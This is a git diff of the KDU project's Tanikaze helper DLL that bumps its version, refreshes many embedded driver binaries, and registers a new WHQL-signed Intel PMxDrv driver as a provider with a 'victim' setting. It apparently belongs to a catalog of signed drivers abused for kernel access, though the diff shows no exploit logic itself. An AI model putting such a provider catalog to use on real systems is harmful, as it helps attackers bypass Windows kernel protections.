Binary files a/Source/Tanikaze/drv/WinRing0x64.bin and b/Source/Tanikaze/drv/WinRing0x64.bin differ diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index 16f88f4..50fdc98 100644 Binary files a/Source/Tanikaze/drv/amsdk.bin and b/Source/Tanikaze/drv/amsdk.bin differ diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index 1e692bf..5af601e 100644 Binary files a/Source/Tanikaze/drv/asio2.bin and b/Source/Tanikaze/drv/asio2.bin differ diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin index 81e039c..515e5e1 100644 Binary files a/Source/Tanikaze/drv/dbk64.bin and b/Source/Tanikaze/drv/dbk64.bin differ diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin index e99d011..6b91be8 100644 Binary files a/Source/Tanikaze/drv/dbutildrv2.bin and b/Source/Tanikaze/drv/dbutildrv2.bin differ diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin index 40c7ec4..c678ac9 100644 Binary files a/Source/Tanikaze/drv/echo_driver.bin and b/Source/Tanikaze/drv/echo_driver.bin differ diff --git a/Source/Tanikaze/drv/eleetx1.bin b/Source/Tanikaze/drv/eleetx1.bin index 1a010ae..200584d 100644 Binary files a/Source/Tanikaze/drv/eleetx1.bin and b/Source/Tanikaze/drv/eleetx1.bin differ diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index cee572e..f3b2d8b 100644 Binary files a/Source/Tanikaze/drv/ene2.bin and b/Source/Tanikaze/drv/ene2.bin differ diff --git a/Source/Tanikaze/drv/etdsupp.bin b/Source/Tanikaze/drv/etdsupp.bin index 5d0915c..c39b4a5 100644 Binary files a/Source/Tanikaze/drv/etdsupp.bin and b/Source/Tanikaze/drv/etdsupp.bin differ diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index d3012cb..d5a6d4f 100644 Binary files a/Source/Tanikaze/drv/gdrv.bin and b/Source/Tanikaze/drv/gdrv.bin differ diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin index f869bf1..b365b9d 100644 Binary files a/Source/Tanikaze/drv/gmerdrv.bin and b/Source/Tanikaze/drv/gmerdrv.bin differ diff --git a/Source/Tanikaze/drv/heavenluo.bin b/Source/Tanikaze/drv/heavenluo.bin index b529229..aff91af 100644 Binary files a/Source/Tanikaze/drv/heavenluo.bin and b/Source/Tanikaze/drv/heavenluo.bin differ diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index b2e5f3e..ec0e97d 100644 Binary files a/Source/Tanikaze/drv/iQVM64.bin and b/Source/Tanikaze/drv/iQVM64.bin differ diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index 7367a19..30b3fc1 100644 Binary files a/Source/Tanikaze/drv/inpoutx64.bin and b/Source/Tanikaze/drv/inpoutx64.bin differ diff --git a/Source/Tanikaze/drv/irec.bin b/Source/Tanikaze/drv/irec.bin index f356430..f9c69d1 100644 Binary files a/Source/Tanikaze/drv/irec.bin and b/Source/Tanikaze/drv/irec.bin differ diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index d15c549..ed7cdb1 100644 Binary files a/Source/Tanikaze/drv/kprocesshacker.bin and b/Source/Tanikaze/drv/kprocesshacker.bin differ diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index f8fddfe..53dbb4b 100644 Binary files a/Source/Tanikaze/drv/lha.bin and b/Source/Tanikaze/drv/lha.bin differ diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index 80733c5..36dda17 100644 Binary files a/Source/Tanikaze/drv/mimidrv.bin and b/Source/Tanikaze/drv/mimidrv.bin differ diff --git a/Source/Tanikaze/drv/nvoclock.bin b/Source/Tanikaze/drv/nvoclock.bin index edf1f85..9cfedc4 100644 Binary files a/Source/Tanikaze/drv/nvoclock.bin and b/Source/Tanikaze/drv/nvoclock.bin differ diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index f214e02..2bca2c2 100644 Binary files a/Source/Tanikaze/drv/pcdsrvc_x64.bin and b/Source/Tanikaze/drv/pcdsrvc_x64.bin differ diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index f866db8..f45b5ef 100644 Binary files a/Source/Tanikaze/drv/physmem.bin and b/Source/Tanikaze/drv/physmem.bin differ diff --git a/Source/Tanikaze/drv/pmxdrv64.bin b/Source/Tanikaze/drv/pmxdrv64.bin new file mode 100644 index 0000000..4d329e0 Binary files /dev/null and b/Source/Tanikaze/drv/pmxdrv64.bin differ diff --git a/Source/Tanikaze/drv/procexp1627.bin b/Source/Tanikaze/drv/procexp1627.bin index 664c82a..e38da3c 100644 Binary files a/Source/Tanikaze/drv/procexp1627.bin and b/Source/Tanikaze/drv/procexp1627.bin differ diff --git a/Source/Tanikaze/drv/procexp1702.bin b/Source/Tanikaze/drv/procexp1702.bin index 0c3cc27..06e7e1b 100644 Binary files a/Source/Tanikaze/drv/procexp1702.bin and b/Source/Tanikaze/drv/procexp1702.bin differ diff --git a/Source/Tanikaze/drv/rtkio64.bin b/Source/Tanikaze/drv/rtkio64.bin index 74dfdbc..b5b06c2 100644 Binary files a/Source/Tanikaze/drv/rtkio64.bin and b/Source/Tanikaze/drv/rtkio64.bin differ diff --git a/Source/Tanikaze/drv/rzpnk.bin b/Source/Tanikaze/drv/rzpnk.bin index 3bfd0da..b567242 100644 Binary files a/Source/Tanikaze/drv/rzpnk.bin and b/Source/Tanikaze/drv/rzpnk.bin differ diff --git a/Source/Tanikaze/drv/wnBios64.bin b/Source/Tanikaze/drv/wnBios64.bin index 09dd21d..8caaf04 100644 Binary files a/Source/Tanikaze/drv/wnBios64.bin and b/Source/Tanikaze/drv/wnBios64.bin differ diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index e4abe2b..0d2bcef 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -52,8 +52,8 @@ #define IDR_ASROCKDRV2 150 #define IDR_ASROCKAPPSHOP103 151 #define IDR_ASROCKDRV3 152 -#define IDR_RCDATA1 153 #define IDR_ASROCKDRV4 153 +#define IDR_PMXDRV64 154 #define IDR_DATA_DBUTILCAT 1000 #define IDR_DATA_DBUTILINF 1001 #define IDR_DATA_KMUEXE 1002 @@ -66,7 +66,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 154 +#define _APS_NEXT_RESOURCE_VALUE 155 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index 148fad2..13878f4 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -166,6 +166,8 @@ IDR_ASROCKDRV3 RCDATA "drv\\AsrDrv107n.bin" IDR_ASROCKDRV4 RCDATA "drv\\AsrDrv107.bin" +IDR_PMXDRV64 RCDATA "drv\\pmxdrv64.bin" + ///////////////////////////////////////////////////////////////////////////// // @@ -173,8 +175,8 @@ IDR_ASROCKDRV4 RCDATA "drv\\AsrDrv107.bin" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,2,0,2403 - PRODUCTVERSION 1,2,0,2403 + FILEVERSION 1,2,1,2404 + PRODUCTVERSION 1,2,1,2404 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -191,12 +193,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility Database" - VALUE "FileVersion", "1.2.0.2403" + VALUE "FileVersion", "1.2.1.2404" VALUE "InternalName", "Tanikaze.dll" VALUE "LegalCopyright", "Copyright (C) 2020 - 2024 KDU Project" VALUE "OriginalFilename", "Tanikaze.dll" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.2.0.2403" + VALUE "ProductVersion", "1.2.1.2404" END END BLOCK "VarFileInfo" diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index 867eb2a..2b5785e 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.20 +* VERSION: 1.21 * -* DATE: 30 Mar 2024 +* DATE: 01 Apr 2024 * * Tanikaze helper dll (part of KDU project). * @@ -803,7 +803,22 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"AsrDrv107", (LPWSTR)L"AsrDrv107", (LPWSTR)L"ASROCK INC." - } + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + IDR_PMXDRV64, + KDU_PROVIDER_INTEL_PMXDRV, + KDU_VICTIM_DEFAULT, + SourceBaseNone, + KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PML4_FROM_LOWSTUB, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"Intel(R) Management Engine Tools Driver", + (LPWSTR)L"PMxDrv", + (LPWSTR)L"Pmxdrv", + (LPWSTR)L"Intel(R) Embedded Subsystems and IP Blocks Group" + } };